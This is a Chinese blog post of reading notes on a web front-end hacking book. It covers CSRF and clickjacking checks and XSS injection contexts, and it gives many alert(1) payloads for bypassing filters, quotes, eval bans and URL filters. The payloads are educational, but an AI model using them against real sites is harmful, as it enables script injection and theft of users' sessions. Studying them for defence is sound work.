《Web前端黑客技術(shù)解密》讀書筆記(第六章)

本文地址:http://www.itdecent.cn/p/2d2ab1d1f9e7

第六章 漏洞挖掘

  • CSRF漏洞挖掘需要確認(rèn)以下信息:

    1. 目標(biāo)表單是否有有效的token隨機(jī)串
    2. 目標(biāo)表單是否有驗(yàn)證碼
    3. 目標(biāo)是否判斷了Referer來源
    4. 根目錄下 crossdoman.xml的 allow-access-from domain 是否是通配符
    5. 目標(biāo)JSON是否可以自定義callback等
  • 界面劫持漏洞挖掘需要確認(rèn)以下信息:

    1. 目標(biāo)HTTP響應(yīng)頭是否設(shè)置了X-Frame-Options字段
    2. 目標(biāo)是否有javascript的Frame Busting機(jī)制
    3. 用iframe嵌入目標(biāo)網(wǎng)站試試,若成功,則說明存在漏洞
  • 針對(duì)URL,可以利用的輸入點(diǎn)是 id=1 ,輸出點(diǎn)主要有:

    • HTML標(biāo)簽之間,如:<body>[輸出]</body>
    • HTML標(biāo)簽之內(nèi),如:<input type='text' value='[輸出]'
    • 成為javascript代碼的值,如:<script>a='[輸出]'</script>
    • 成為css代碼的值,如:<style>body{font-size:[輸出]px}</style>
  • HTML形式的編碼

    • 進(jìn)制編碼:&#xH(十六進(jìn)制格式)、&#D(十進(jìn)制),最后的分號(hào)可以不要
    • HTML實(shí)體編碼,如空格為
  • 在js執(zhí)行之前,HTML形式的編碼會(huì)自動(dòng)解碼。具體參見書本 P138

  • 具備 HtmlEncode 功能的標(biāo)簽

<body>
  <script>function $(id){return document.getElementById(id);}</script>
<input 
  type='button' value='btn1'
  onclick="$('i1').innerHTML='<img onerror=alert(1) />';alert($('i1').innerHTML)" />
<input 
  type='button' value='btn2' 
  onclick="$('i2').innerHTML='<img onerror=alert(1) />';alert($('i2').innerHTML)" />

  <textarea id='i1'>3333</textarea>
  <div id="i2"></div>

</body>

<!-- btn1 結(jié)果 為 <img onerror=alert(1)/> -->
<!-- btn2 結(jié)果 為 <img onerror=alert(1)/>; -->

通過返回結(jié)果可以看出區(qū)別,因?yàn)?code>textarea不解析html,類似的標(biāo)簽還有 <title></title>、<iframe></iframe>、<noscript></noscript>、<noframes></noframes>;另外還有 xmpplaintext

注意以下返回區(qū)別:

var textarea = document.createElement('textarea');
textarea.innerHTML='<div>innerText</div>';
console.log(textarea.innerHTML)
// <div>innerText</div> (chrome, safari)
// "<div xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">innerText</div>" (firefox)
var textarea = document.createElement('textarea');
textarea.innerText='<div>innerText</div>';
console.log(textarea.innerHTML)
// <div>innerText</div>(chrome, safari)
// '' (firefox)
var textarea = document.createElement('textarea');
textarea.innerHTML='<div>innerText</div>';
console.log(textarea.innerText)
// <div>innerText</div> (chrome)
// <div>innerText</div> (safari)
// undefined (firefox 沒有innerText接口)
  • 不同瀏覽器對(duì)urlencode處理的方式不同

可通過URL拼接一些特殊字符('"<>!@$%^*(){}[]:;,?~)知道

  • 通過window.__defineSetter__ 可以劫持屬性, 類似于 Object.defineProperty
window.__defineSetter__('a', function(){console.log(22);});
window.a=11;
// 22
// 11

字符集缺陷導(dǎo)致XSS攻擊

  • 一個(gè)字符可能對(duì)應(yīng)1~n個(gè)字節(jié),一個(gè)字節(jié)為8位,每一位還是 0 或 1
  • 一個(gè)字符對(duì)應(yīng)1~n個(gè)字節(jié)是由字符集和編碼決定的
  • ASCII字符集是一個(gè)字符對(duì)應(yīng)一個(gè)字節(jié),不過每個(gè)字節(jié)只用了7位,最高位用于其他目的,即ASCII字符集共有2的7次方(128)個(gè)字符
  • Unicode字符集編碼方式有 UTF-8、UTF-16UTF-32、UTF-7,最為常見的是UTF-8UTF-7
  • 寬字節(jié)碼帶來的安全問題(GB2312、GBK、GB18030、BIG5、Shift_JIS等)
<?php header("Content-Type:text/html;charset=GBK"); ?>
<head></head>
<body>
    <script>
        a="<?php echo $_GET['x']; ?>"
    </script>
</body>

<!--
如果url是
go.php?x=";alert(1)//
結(jié)果會(huì)被轉(zhuǎn)成
a="1\";alert(1)//"
// 具體參見P161
-->

繞過瀏覽器 XSS Filter

XSS Filter 主要針對(duì)反射性XSS,大體采用一種啟發(fā)式的檢測(cè),根據(jù)用戶提交的數(shù)據(jù)檢測(cè)是否存在潛在的XSS特征,并重新渲染響應(yīng)內(nèi)容保證潛在XSS特征不會(huì)觸發(fā)

混淆代碼

  • 經(jīng)常在HTML中使用十進(jìn)制和十六進(jìn)制
  • 十進(jìn)制在html中表示,如 8&#作為前綴,中間是十進(jìn)制數(shù)字,以;作為后綴結(jié)束,其中后綴;可以沒有
  • 十六進(jìn)制表示如:Z,與十進(jìn)制相比,&#后面緊跟x,中間是十六進(jìn)制表示的數(shù)字,同樣后綴可省略
  • CSS屬性中,也只能是有個(gè)十進(jìn)制和十六進(jìn)制,另外十六進(jìn)制可以表示為\6c
  • JS中,八進(jìn)制表示為\56,十六進(jìn)制表示為\x5c,多字節(jié)字符不能這樣表示,需要用Unicode編碼,如\u4ee3\u7801

瀏覽器三套 編/解碼 方法

第一組:escapeunescape,且對(duì)0~255以外的unicode值進(jìn)行編碼時(shí)輸出 %u****

第二組:encodeURIdecodeURI

第三組:encodeURIComponentdecodeURICompon

  • 共同不編碼的字符有66個(gè)
    0~9、a~z、A~Z、*、-、_、.

  • escape不編碼的字符有69個(gè),另外3個(gè)字符是:
    +、/、@

  • encodeURI不編碼的字符有82個(gè),另外16個(gè)字符是:
    +、/、@、!、#、$&、'(、)、:;=?、~

  • encodeURIComponent不編碼的字符有71個(gè),另外5個(gè)字符是:
    !'、(、)~

此外,除以上三種加/解碼方法外,還有 HTMLEncode、URIEncode、JSEncode、UTF-7編碼、Base64編碼

HTML中注入技巧

完整的HTML代碼分為:標(biāo)簽名,屬性名,屬性值,文本,注釋。

標(biāo)簽,HTML語言是松散的,且標(biāo)簽有優(yōu)先級(jí),可以通過混淆代碼繞過,比如大小寫不區(qū)分
  • HTML語法中有標(biāo)簽優(yōu)先級(jí)概念,<textarea><title>、<style>、<script><xmp>等優(yōu)先級(jí)較高
<title><a href="</title><img src='/te.jpg' onerror=alert(11)//">aaa</a></title>
// 會(huì)alert出11
// 把title 換成 div后就不會(huì)

如果過濾器將以上標(biāo)簽過濾了,可以嘗試一下方式:

<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">
屬性,不區(qū)分大小寫,屬性值可用單引號(hào)、雙引號(hào)、不用引號(hào)、反引號(hào)(IE);且標(biāo)簽與屬性、屬性與等號(hào)、等號(hào)與屬性值可使用換行、回車或tab等,個(gè)數(shù)不限
  • 但利用反射性XSS漏洞時(shí),輸出往往在html中,比較容易;如果出現(xiàn)在屬性值中,想辦法先閉合屬性值或直接閉合標(biāo)簽,或設(shè)置一個(gè)可觸發(fā)的事件屬性來執(zhí)行腳本
  • HTML屬性主要分為:普通屬性、事件屬性、資源屬性
  • 普通屬性,如
<font color=<? $_GET['url'] ?> />
// 構(gòu)造以下url即可
?url=x%20onerror=alert(1)
// 結(jié)果為
<font color=x onerror=alert(1) />

// 屬性有引號(hào)時(shí),想辦法閉合方法與前面類似
<font color="<? $_GET['url'] ?>" />
?url=x"%20onerror=alert(1) //

如果對(duì)方將引號(hào)過濾掉或HTMLEncode轉(zhuǎn)義了,有以下兩個(gè)特例

// 使用與 IE6
<img src="x` `<script>alert(1)</script>"` `> 
// 適用于IE Firefox Chrome Opera
<img src= alt=" onerror=alert(1) //">
  • 事件屬性,除普通屬性的方式外,可以直接插入代碼,等待用戶執(zhí)行

HTML總體通過屬性定義的事件在執(zhí)行時(shí)會(huì)做HTMLDecode編碼

防御的辦法是先進(jìn)行JSEncode,然后進(jìn)行HTMLEncode編碼

  • 資源屬性,主要是屬性名為 src 或 href,這類屬性一般都支持瀏覽器預(yù)定義的協(xié)議(http:ftp:、file:、https:、javascript:vbscript:、mailto:、data:),這里有些事網(wǎng)絡(luò)交互協(xié)議(http:https:ftp:),有些是本地協(xié)議(一般稱偽協(xié)議)(javascript:、vbscript:、mailto:、data:

  • 支持資源屬性的HTML標(biāo)簽主要有:

APPLET,EMBED,FRAME,IFRAME,IMG
INPUT type=image,
XML,A,LINK,AREA,
TABLE\TR\TD\TH的background屬性,
BGSOUND,AUDIO,VIDEO,OBJECT,META,refresh,SCRIPT,BASE,SROUCE
  • 很多瀏覽器把一些被動(dòng)資源類鏈接的偽協(xié)議屏蔽掉了
// 不生效
<img src='javascript:alert(1)' />

// 生效
<iframe src='javascript:alert(1)' />
  • 常用偽協(xié)議主要有:javascript:, vbscript:(微軟瀏覽器), data:

  • 有幾個(gè)不常用的屬性也支持偽協(xié)議

<img dynsrc='javascript:alert(1)' /> (IE6)
<img lowsrc='javascript:alert(1)' /> (IE6)
<isindex action='javascript:alert(1)' type='image'/>
<input type='image' src='javascript:alert(1)' />

CSS中注入

主要分為:選擇符,屬性名,屬性值,規(guī)則和申明
  • 可被利用插入XSS腳本的地方有CSS資源類屬性值和@import規(guī)則,IE中還有expression

JS中注入

  • 思路是想辦法閉合之前的變量
  • 對(duì)HTML中的Javascript來說,</script>具有最高優(yōu)先級(jí),可以在任何位置中斷JS代碼
<script>
var a="</script><script>alert('inner script')</script>"
// 會(huì)解析為兩個(gè)script
  • JSONP方式攻擊,url中拼callback
// 后端返回的JSON
{"name": 1}
// JSONP方式后端的返回
// url?callback=mycallback
mycallback({"name":1})
// 簡(jiǎn)單的方式是mycallback可以變?yōu)?lt;script>alert(1)</script>
// 返回結(jié)果即
<script>alert(1)</script>({"name":1})
// 具體參見P199

JS代碼混淆,混淆有很多種,這里列舉幾種

eval(String.fromCharCode(97,108,101,114,116,40,49,41,59))
// alert(1)

如果對(duì)函數(shù)屏蔽,如eval, alert, http等,利用 (0)['constructor']['constructor'] 代替 eval(這里利用Function),或拼接"h"+"t"+"t"+"p"

(0)['constructor']['constructor']('alert(1)')()

突破URL過濾

  • 正常URL
<A >正常URL</A>
  • URL編碼
<A HREF='http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D'>URL編碼</A>
  • 十進(jìn)制
<A HREF='http://1113982867/'>十進(jìn)制</A>
  • 十六進(jìn)制
<A >十六進(jìn)制</A>
  • 八進(jìn)制
<A >八進(jìn)制</A>
  • 混合編碼
<A HREF='http://6   6.000146.0x7.147'>混合編碼</A>
  • 不帶http:協(xié)議
<A HREF='//www.google.com'>不帶http:協(xié)議</A>
  • 最后加個(gè)點(diǎn)
<A >最后加個(gè)點(diǎn)</A>

經(jīng)典混淆XSS利用點(diǎn)參考書本 P202

其他一些CheckList參加網(wǎng)站 html5sec.org ,fuzzing平臺(tái)如 shazzer.co.uk,有大量XSS利用點(diǎn)

附原書購(gòu)買地址: http://item.jd.com/11181832.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容